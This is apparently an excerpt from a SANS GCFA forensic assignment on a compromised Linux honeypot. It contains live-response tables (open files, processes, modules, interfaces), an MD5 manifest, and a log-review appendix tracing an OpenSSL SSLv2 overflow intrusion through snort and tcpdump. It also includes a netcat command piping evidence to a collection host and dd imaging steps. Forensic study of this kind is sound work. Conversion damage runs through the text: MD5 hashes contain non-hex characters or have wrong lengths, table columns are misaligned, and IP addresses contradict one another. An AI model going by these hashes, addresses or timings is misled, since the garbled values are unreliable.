<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>65087</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>65263</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>79725</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>13726</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>26693</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>13022</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>13408</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>440048</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>225930</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>400053</td>
<td>/usr/lib/apache/libkssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>191615</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>20583</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>46117</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>1401027</td>
<td>/lib686/libc-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>0r</td>
<td>CHR</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1,3</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>0</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>0</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>0</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>0</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP :https (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP :http (LISTEN)</td>
</tr>
</tbody>
</table>
httpd   19376 root  18w REG   3,6 265  44201 /var/log/httpd/access_log
httpd   19376 root  19w REG   3,6 0   44198 /var/log/httpd/ssl_request_log
minilogd 19365 root  cwd  DIR   3,5 1024  2 /
minilogd 19365 root  rtd  DIR   3,5 1024  2 /
minilogd 19365 root  txt  REG   3,5 8896  71809 /sbin/minilogd
minilogd 19365 root  mem  REG   3,5 89547  63490 /lib/ld-2.2.5.so
minilogd 19365 root  mem  REG   3,5 1401027 73730 /lib/i686/libc-2.2.5.so
minilogd 19365 root  0u  CHR   1,3 9637  /dev/null
minilogd 19365 root  1u  CHR   1,3 9637  /dev/null
minilogd 19365 root  2u  CHR   1,3 9637  /dev/null
minilogd 19365 root  3u  REG   3,6 0   38183 /var/run/httpd.mm.8124.sem
minilogd 19365 root  4u  REG   3,5 0   26691 /tmp/session_mm_apache0.sem
(mined)
minilogd 19365 root  5u  REG   3,5 8192  26693 /tmp/session_mm_apache0.sem
minilogd 19365 root  6u  sock  0,0 550563 can't identify protocol
minilogd 19365 root  7u  CHR   1,3 9637  /dev/null
minilogd 19365 root  8u  unix 0x1f80540 551280 /dev/log
minilogd 19365 root  9u  IPv4  551503 UDP  *:3049
minilogd 19365 root  10u IPv4 361623 TCP  *:http (LISTEN)
minilogd 19365 root  11w REG   3,6 265  44201 /var/log/httpd/access_log
minilogd 19365 root  12w REG   3,6 0   44198 /var/log/httpd/ssl_request_log
weit   19678 root  cwd  DIR   3,5 1024  2 /
weit   19678 root  rtd  DIR   3,5 1024  2 /
weit   19678 root  txt  REG   3,5 89547  63490 /lib/ld-2.2.5.so
weit   19678 root  mem  REG   3,5 1401027 73730 /lib/i686/libc-2.2.5.so
weit   19678 root  0u  CHR   1,3 9637  /dev/null
weit   19678 root  1u  CHR   1,3 9637  /dev/null
weit   19678 root  2u  CHR   1,3 9637  /dev/null
weit   19678 root  3u  REG   3,6 0   38183 /var/run/httpd.mm.8124.sem
weit   19678 root  4u  REG   3,5 0   26691 /tmp/session_mm_apache0.sem
(daily)
weit   19678 root  5u  REG   3,5 8192  26693 /tmp/session_mm_apache0.sem
weit   19678 root  6u  sock  0,0 550563 can't identify protocol
weit   19678 root  7r  DIR   3,5 1024  2 /
weit   19678 root  8r  DIR   3,5 1024  2 /
weit   19678 root  9u  IPv4  551503 UDP  *:3049
weit   19678 root  10u IPv4 361623 TCP  *:http (LISTEN)
weit   19678 root  11w REG   3,6 265  44201 /var/log/httpd/access_log
weit   19678 root  12w REG   3,6 0   44198 /var/log/httpd/ssl_request_log
popauth 19685 root  cwd  DIR   3,5 1024  2 /
popauth 19685 root  rtd  DIR   3,5 1024  2 /
popauth 19685 root  txt  REG   3,5 89547  63490 /lib/ld-2.2.5.so
popauth 19685 root  mem  REG   3,5 1401027 73730 /lib/i686/libc-2.2.5.so
popauth 19685 root  0u  sock  0,0 550563 can't identify protocol
popauth 19685 root  1w  CHR   1,3 9637  /dev/null
popauth 19685 root  2w  CHR   1,3 9637  /dev/null
popauth 19685 root  3u  REG   3,6 0   38183 /var/run/httpd.mm.8124.sem
popauth 19685 root  4u  REG   3,5 0   26691 /tmp/session_mm_apache0.sem
(daily)
popauth 19685 root  5u  REG   3,5 8192  26693 /tmp/session_mm_apache0.sem
popauth 19685 root  6u  sock  0,0 550563 can't identify protocol
popauth 19685 root  7r  FIFO  0,5 551503 pipe
popauth 19685 root  8w  FIFO  0,5 551501 pipe
popauth 19685 root  9u  IPv4  551503 UDP  *:3049
popauth 19685 root  10u IPv4 361623 TCP  *:http (LISTEN)
popauth 19685 root  11w REG   3,6 265  44201 /var/log/httpd/access_log
popauth 19685 root  12w REG   3,6 0   44198 /var/log/httpd/ssl_request_log
chmod  19796 root  cwd  DIR   3,5 1024  2 /
chmod  19796 root  rtd  DIR   3,5 1024  2 /
chmod  19796 root  txt  REG   3,5 89547  63490 /lib/ld-2.2.5.so
chmod  19796 root  mem  REG   3,5 1401027 73730 /lib/i686/libc-2.2.5.so
chmod  19796 root  0u  sock  0,0 550563 can't identify protocol
chmod  19796 root  1u  sock  0,0 550563 can't identify protocol
chmod  19796 root  2u  sock  0,0 550563 can't identify protocol
chmod  19796 root  3u  REG   3,6 0   38183 /var/run/httpd.mm.8124.sem
chmod 19796 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
chmod 19796 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
chmod 19796 root 6u sock 0,0 550563 can't identify protocol
chmod 19796 root 7r DIR 3,5 1024 20563 /tmp/.s/nfsd
chmod 19796 root 8u REG 3,5 0 15635 /dev/hdx1
chmod 19796 root 10u sock 0,0 552454 can't identify protocol
chmod 19796 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
chmod 19796 root 16u IPv4 361623 TCP *:https (LISTEN)
chmod 19796 root 17u IPv4 361624 TCP *:http (LISTEN)
chmod 19796 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
chmod 19796 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log

ps.txt

USER     PID %CPU %MEM VSYNC RSS TTY STAT START TIME COMMAND
root     1  0.0  0.3  1368  432 ?  S Jun23 0:05 init
root     2  0.0  0.0  0  0 ?  SW Jun23 0:00 [kentpd]
root     3  0.0  0.0  0  0 ?  SW Jun23 0:00 [kapmd]
root     4  0.0  0.0  0  0 ?  SW Jun23 0:00 [ksoftirqd_CPU0]
root     5  0.0  0.0  0  0 ?  SW Jun23 0:03 [kswapd]
root     6  0.0  0.0  0  0 ?  SW Jun23 0:00 [bdfflush]
root     7  0.0  0.0  0  0 ?  SW Jun23 0:00 [kudated]
root     8  0.0  0.0  0  0 ?  SW Jun23 0:00 [mdrecoveryd]
root     9  0.0  0.0  0  0 ?  SW Jun23 0:00 [kjournal]
root    12  0.0  0.0  0  0 ?  SW Jun23 0:00 [kjournal]
root    13  0.0  0.0  0  0 ?  SW Jun23 0:00 [kjournal]
root    14  0.0  0.0  0  0 ?  SW Jun23 0:00 [kjournal]
root    17  0.0  0.0  0  0 ?  SW Jun23 0:00 [kjournal]
root    18  0.0  0.0  0  0 ?  SW Jun23 0:00 [kjournal]
root    19  0.0  0.0  0  0 ?  SW Jun23 0:00 [kjournal]
rpcuser  657  0.0  0.4  1556  600 ?  S Jun23 0:00 rpc.statd
root    770  0.0  0.3  1360  412 ?  S Jun23 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P
/etc/sysconfig/apm-scripts/apmscript
ntpd  790  0.0  1.4  1884  1876 ?  SL Jun23 0:01 ntpd -U ntp -q
root    842  0.0  0.4  2620  572 ?  S Jun23 0:01 /usr/sbin/sshd
root    875  0.0  0.4  2196  560 ?  S Jun23 0:00 xinetd -stay alive -reuse -pidfile
/var/run/xinetd.pid
root    916  0.0  0.7  4600  892 ?  S Jun23 0:00 sendmail: accepting connections
<table>
<thead>
<tr>
<th>User</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>VSZ</th>
<th>RSS</th>
<th>TTY</th>
<th>STAT</th>
<th>Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>20057</td>
<td>0.0</td>
<td>0.1</td>
<td>1396</td>
<td>212</td>
<td>T</td>
<td>S</td>
<td>0:00</td>
<td>ls --color=tyty -al</td>
</tr>
<tr>
<td>root</td>
<td>20058</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>Z</td>
<td>S</td>
<td>0:00</td>
<td>[ls [defunct]]</td>
</tr>
<tr>
<td>root</td>
<td>20078</td>
<td>0.0</td>
<td>0.1</td>
<td>1352</td>
<td>200</td>
<td>T</td>
<td>S</td>
<td>0:00</td>
<td>mdkdir .EhT</td>
</tr>
<tr>
<td>root</td>
<td>20079</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>Z</td>
<td>S</td>
<td>0:00</td>
<td>mkdirc [defunct]</td>
</tr>
<tr>
<td>root</td>
<td>27173</td>
<td>0.0</td>
<td>0.1</td>
<td>1340</td>
<td>200</td>
<td>T</td>
<td>S</td>
<td>0:00</td>
<td>/bin/hostname</td>
</tr>
<tr>
<td>root</td>
<td>28978</td>
<td>0.0</td>
<td>0.1</td>
<td>1396</td>
<td>224</td>
<td>pts/1</td>
<td>T</td>
<td>16:43</td>
<td>ls --color=tyty</td>
</tr>
<tr>
<td>root</td>
<td>28979</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>pts/1</td>
<td>Z</td>
<td>16:43</td>
<td>[ls [defunct]]</td>
</tr>
<tr>
<td>userid1</td>
<td>28981</td>
<td>0.0</td>
<td>6.7</td>
<td>22340</td>
<td>8516</td>
<td>pts</td>
<td>S</td>
<td>16:44</td>
<td>kdeinit: kconquer file:/mnt/cdrom</td>
</tr>
<tr>
<td>userid1</td>
<td>28983</td>
<td>0.0</td>
<td>0.8</td>
<td>2520</td>
<td>1048</td>
<td>pts/3</td>
<td>S</td>
<td>16:44</td>
<td>/bin/bash</td>
</tr>
<tr>
<td>root</td>
<td>29020</td>
<td>0.0</td>
<td>0.5</td>
<td>2332</td>
<td>672</td>
<td>pts/3</td>
<td>S</td>
<td>16:44</td>
<td>su -</td>
</tr>
<tr>
<td>root</td>
<td>29024</td>
<td>0.0</td>
<td>0.9</td>
<td>2448</td>
<td>1152</td>
<td>pts/3</td>
<td>S</td>
<td>16:44</td>
<td>/bin/bash -bash</td>
</tr>
<tr>
<td>userid1</td>
<td>29010</td>
<td>0.0</td>
<td>11.6</td>
<td>26884</td>
<td>14724</td>
<td>pts/2</td>
<td>S</td>
<td>16:55</td>
<td>kdeinit: konqueror file:/mnt/cdrom</td>
</tr>
<tr>
<td>userdi</td>
<td>29120</td>
<td>0.0</td>
<td>0.1</td>
<td>1372</td>
<td>248</td>
<td>T</td>
<td>16:55</td>
<td>0:00</td>
<td>cp -R</td>
</tr>
<tr>
<td>/usr/share/apps/kongqidebartng/entries/home.desktop/home/useri</td>
<td>29122</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>Z</td>
<td>16:55</td>
<td>0:00</td>
<td>[cp [defunct]]</td>
</tr>
<tr>
<td>/usr/share/apps/kongqidebartng/entries/mplayer.desktop/home/us</td>
<td>29125</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>Z</td>
<td>16:55</td>
<td>0:00</td>
<td>[cp [defunct]]</td>
</tr>
<tr>
<td>/usr/share/apps/kongqidebartng/entries/root.desktop/home/useri</td>
<td>29129</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>1372</td>
<td>T</td>
<td>16:55</td>
<td>0:00</td>
</tr>
<tr>
<td>/usr/share/apps/kongqidebartng/entries/services.desktop/home/u</td>
<td>29133</td>
<td>0.0</td>
<td>0.1</td>
<td>1372</td>
<td>248</td>
<td>T</td>
<td>16:55</td>
<td>0:00</td>
<td>[cp [defunct]]</td>
</tr>
<tr>
<td>/usr/share/apps/kongqidebartng/entries/services.desktop/home/u</td>
<td>29134</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>1372</td>
<td>T</td>
<td>16:55</td>
<td>0:00</td>
</tr>
<tr>
<td>root</td>
<td>29136</td>
<td>0.0</td>
<td>0.2</td>
<td>1396</td>
<td>268</td>
<td>pts/2</td>
<td>T</td>
<td>16:55</td>
<td>0:00</td>
</tr>
<tr>
<td>root</td>
<td>29137</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>pts/2</td>
<td>Z</td>
<td>16:55</td>
<td>0:00</td>
</tr>
<tr>
<td>root</td>
<td>29150</td>
<td>0.0</td>
<td>1.0</td>
<td>2492</td>
<td>1268</td>
<td>pts/2</td>
<td>S</td>
<td>16:58</td>
<td>0:00</td>
</tr>
<tr>
<td>root</td>
<td>29214</td>
<td>13.0</td>
<td>0.6</td>
<td>2792</td>
<td>832</td>
<td>pts/2</td>
<td>R</td>
<td>17:26</td>
<td>0:00</td>
</tr>
<tr>
<td>root</td>
<td>29215</td>
<td>0.0</td>
<td>0.4</td>
<td>1956</td>
<td>560</td>
<td>pts/2</td>
<td>S</td>
<td>17:26</td>
<td>0:00</td>
</tr>
</tbody>
</table>

**lsmod.txt**

<table>
<thead>
<tr>
<th>Module</th>
<th>Size</th>
<th>Used by</th>
<th>Not tainted</th>
</tr>
</thead>
<tbody>
<tr>
<td>nls_iso8859-1</td>
<td>3488</td>
<td>1</td>
<td>(autoclean)</td>
</tr>
<tr>
<td>iptable_filter</td>
<td>2752</td>
<td>0</td>
<td>(autoclean)</td>
</tr>
</tbody>
</table>
**kernel.routings.txt**

Kernel IP routing table

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Genmask</th>
<th>Flags</th>
<th>MSS</th>
<th>Window</th>
<th>Ittt</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.2.0</td>
<td>0.0.0.0</td>
<td>255.255.255.0</td>
<td>U</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
<tr>
<td>0.0.0.0</td>
<td>192.168.2.1</td>
<td>0.0.0.0</td>
<td>UG</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
</tbody>
</table>

**ifconfig.txt**

eth0   Link encap:Ethernet  HWaddr 00:50:8B:0D:50:56
inet addr:192.168.2.15  Bcast:192.168.2.255  Mask:255.255.255.0
UP  BROADCAST RUNNING PROMISC MULTICAST  MTU:1500 Metric:1
RX packets:56788  errors:0  dropped:0  overruns:0  frame:1
TX packets:94732  errors:0  dropped:0  overruns:0  carrier:0
collisions:3023  txqueuelen:100
RX bytes:11574349 (11.0 Mb)  TX bytes:15015679 (14.3 Mb)
Interrupt:11  Base address:0x1000

eth1   Link encap:Ethernet  HWaddr 00:90:27:89:8E:64
BROADCAST MULTICAST  MTU:1500 Metric:1
RX packets:0  errors:0  dropped:0  overruns:0  frame:0
collisions:0  txqueuelen:100
RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
Interrupt:11  Base address:0x3000

lo     Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
UP  LOOPBACK RUNNING  MTU:16436 Metric:1
RX packets:353  errors:0  dropped:0  overruns:0  frame:0
collisions:0  txqueuelen:0
RX bytes:44009 (42.9 Kb)  TX bytes:44009 (42.9 Kb)

**Proc/filesystem.txt**

total 1
dr-xr-xr-x 130  root  root  0  Jun  23  05:58 .
drwxr-xr-x  20  root  root 1024 Jun  29  15:22 ..
dr-xr-xr-x  3  root  root  0  Jun 30  17:29 1
dr-xr-xr-x  3  xfs  xfs  0  Jun 30  17:29 1005
dr-xr-xr-x  3  daemon daemon 0  Jun 30  17:29 1041
dr-xr-xr-x  3  root  root  0  Jun 30  17:29 1050
dr-xr-xr-x  3  root  root  0  Jun 30  17:29 1051
dr-xr-xr-x 3 root root 0 Jun 30 17:29 locks
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 28983
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29021
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29024
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29110
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29120
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29122
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29124
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29125
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29129
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29132
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29133
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 29134
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29136
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29137
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29165
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29222
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29223
dr-xr-xr-x 3 root root 0 Jun 30 17:29 3
dr-xr-xr-x 3 root root 0 Jun 30 17:29 4
dr-xr-xr-x 3 root root 0 Jun 30 17:29 5
dr-xr-xr-x 3 root root 0 Jun 30 17:29 6
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 6133
dr-xr-xr-x 3 userid1 root 0 Jun 30 17:29 6135
dr-xr-xr-x 3 rcpu user rcpu 0 Jun 30 17:29 657
dr-xr-xr-x 3 root root 0 Jun 30 17:29 7
dr-xr-xr-x 3 root root 0 Jun 30 17:29 7168
dr-xr-xr-x 3 userid1 userid1 0 Jun 30 17:29 7170
dr-xr-xr-x 3 root userid 0 Jun 30 17:29 7203
dr-xr-xr-x 3 root root 0 Jun 30 17:29 7206
dr-xr-xr-x 3 root root 0 Jun 30 17:29 770
dr-xr-xr-x 3 ntp ntp 0 Jun 30 17:29 790
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8125
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8154
dr-xr-xr-x 3 root root 0 Jun 30 17:29 842
dr-xr-xr-x 3 root root 0 Jun 30 17:29 875
dr-xr-xr-x 3 root root 0 Jun 30 17:29 91
dr-xr-xr-x 3 root root 0 Jun 30 17:29 916
dr-xr-xr-x 3 root root 0 Jun 30 17:29 935
dr-xr-xr-x 3 root root 0 Jun 30 17:29 953
-r---r--- 1 root root 0 Jun 30 17:29 apm
dr-xr-xr-x 4 root root 0 Jun 23 11:58 bus
-r-r-r-- 1 root root 0 Jun 30 17:29 cmdline
-r-r-r-- 1 root root 0 Jun 30 17:29 cpuinfo
-r-r-r-- 1 root root 0 Jun 30 17:29 devices
-r-r-r-- 1 root root 0 Jun 30 17:29 dma
dr-xr-xr-x 2 root root 0 Jun 30 17:29 driver
-r-r-r-- 1 root root 0 Jun 30 17:29 exedomains
-r-r-r-- 1 root root 0 Jun 30 17:29 fb
-r-r-r-- 1 root root 0 Jun 30 17:29 filesystems
dr-xr-xr-x 2 root root 0 Jun 30 17:29 fs
dr-xr-xr-x 4 root root 0 Jun 30 17:29 ide
-r-r-r-- 1 root root 0 Jun 30 17:29 interrupts
-r-r-r-- 1 root root 0 Jun 30 17:29 iomem
-r-r-r-- 1 root root 0 Jun 30 17:29 ioports
dr-xr-xr-x 18 root root 0 Jun 30 17:29 irq
-r-------- 1 root root 134221824 Jun 30 17:29 kcore
-r-------- 1 root root 0 Jun 30 17:29 kmag
-r-r-r-- 1 root root 0 Jun 30 17:29 ksysms
-r-r-r-- 1 root root 0 Jun 30 17:29 loadavg
-r-r-r-- 1 root root 0 Jun 30 17:29 locks
-r-r-r-- 1 root root 0 Jun 30 17:29 mdstat
-r-r-r-- 1 root root 0 Jun 30 17:29 meminfo
-r-r-r-- 1 root root 0 Jun 30 17:29 misc
-r-r-r-- 1 root root 0 Jun 30 17:29 modules
lrwxrwxrwx 1 root root 11 Jun 30 17:29 mounts -> self-mounts
-dr-xr-xr-x 1 root root 66 Jun 23 12:00 mtrr
-dr-xr-xr-x 3 root root 0 Jun 30 17:29 net
-r-r-r-- 1 root root 0 Jun 30 17:29 partitions
Kevin Miller - Sans GCFA Assignment – v1.4

Mon Jun 30 17:31:02 CST 2003

**Live-response-june30.md5**

df2abab55743c9e230e36930ea38bbab *ifconfig.txt
gfa9177f700a220d79c126cad2de36f4 *lsmod.txt
232c6b32469842e965b877a00e601a *lsf.txt
6c1fc361d32283a06b85464230c8efb *netstat-routes.txt
662e13363bc2f0600e6202ab0c0f09a *netstat-sockets.txt
345ad946355ca8c1c82323dcaf576c8f3 *proc-filelist.txt
b3a82cc22339e0b46157ea700d6564b1 *ps.txt
2117e2a19bo0e242c2ad902fc4deea8a *starttime.txt
4987992ca38fbc2130a01f4ba5bfc84 *stoptime.txt
5e344d4b030b44f1b4cc4b4415b649293 *w.txt
Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM, Tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had over written the logs from June 29, 2003. To recover the deleted log file evidence the following was done:

1. The server was booted into single user mode with init 0.
2. At the root prompt the /var partition was imaged to a file with the following command:
   a. dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync
3. The image was compressed using gzip and an MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F – “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim, showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server:

Jun 29 **15:50:35** 192.168.1.1 id=firewall time="2003-06-29 15:50:35"
fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)"
rule=3 proto=251 srcport=1274 dst=XXX.XXX.42.58
dstport=251 interface=sis2 flags=0x2

Tcpdump from snort host:

**15:42:10.704332** 192.168.2.15.1274 > XXX.XXX.42.58.251: S
904588511:904588511(0) win 5840 <mss 1460,sackOK,timestamp 53240532
0,nop,wscale 0> (DF)

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:

- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response:

**Mon Jun 30 17:18:51 CST 2003**

Sebek log event for recording start time for live response:

**23:06:09-2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date | /mnt/cdrom/mc**nc 192.168.2.120 1111

The command ‘snort -r tcpdump.log.1056855401 > tcpdump.out’ was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

```
#snort -d -D -c /usr/local/etc/snort.conf -i fxp1 -l DIR/$DATE
```
The snort options are defined below:

```
"-d" logs the packet details
"-D" runs snort in daemon mode
"-c" tells snort what configuration file to use
"-i" identifies the interface to monitor
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP 192.168.2.15 to 192.168.2.15 through to 14:44:14 through to 14:45:35. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP 192.168.2.15.163. The IP belongs to Netvision’s BroadBand service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is 192.168.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process” signature. The snort alerts shown below are triggered by the following “TERM=xterm in the content portion of a TCP port 443 (SSL) packet.

```
*Below IP XXX.XXX.108.64 is initiating the TCP three-way handshake (syn-syn/ack-ack) on port 443.
14:47:43.726830 XXX.XXX.108.64.55526 > 192.168.2.15.443: S 1779370026:1779370026 win 5840 <nop,nop,timestamp 5795391 0,nop,wscale 0> (DF)
14:47:43.726830 192.168.2.15.443 > XXX.XXX.108.64.55526: S 1761271161:1761271161 win 5792 <nop,nop,timestamp 5795610 0,nop,wscale 0> (DF)
14:47:43.726830 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5795610 0,nop,wscale 0> (DF)
14:47:43.726830 192.168.2.15.443 > XXX.XXX.108.64.55526: F 1:1(0) ack 1 win 5792 <nop,nop,timestamp 5795610 0,nop,wscale 0> (DF)
14:47:43.726830 XXX.XXX.108.64.55526 > 192.168.2.15.443: . ack 2 win 5840 <nop,nop,timestamp 5795610 0,nop,wscale 0> (DF)
14:47:43.726830 192.168.2.15.443 > XXX.XXX.108.64.55526: . ack 2 win 5792 <nop,nop,timestamp 5795610 0,nop,wscale 0> (DF)
```

```
IP XXX.XXX.108.64 initiates a TCP three-way handshake (syn-syn/ack-ack) on port 80.
14:56:15.825708XXX.XXX.108.64.34919 > 192.168.2.15.80: S 2334448901:2334448901 win 5840 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
14:56:15.825708 192.168.2.15.80 > XXX.XXX.108.64.34919: S 2304545355:2304545355(0) ack 2334448902 win 5792 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
14:56:15.825708 XXX.XXX.108.64.34919 > 192.168.2.15.80: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
14:56:15.825708 192.168.2.15.80 > XXX.XXX.108.64.34919: F 1:1(0) ack 1 win 5792 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
14:56:15.825708 XXX.XXX.108.64.34919 > 192.168.2.15.80: . ack 2 win 5840 <nop,nop,timestamp 5846569 0,nop,wscale 0> (DF)
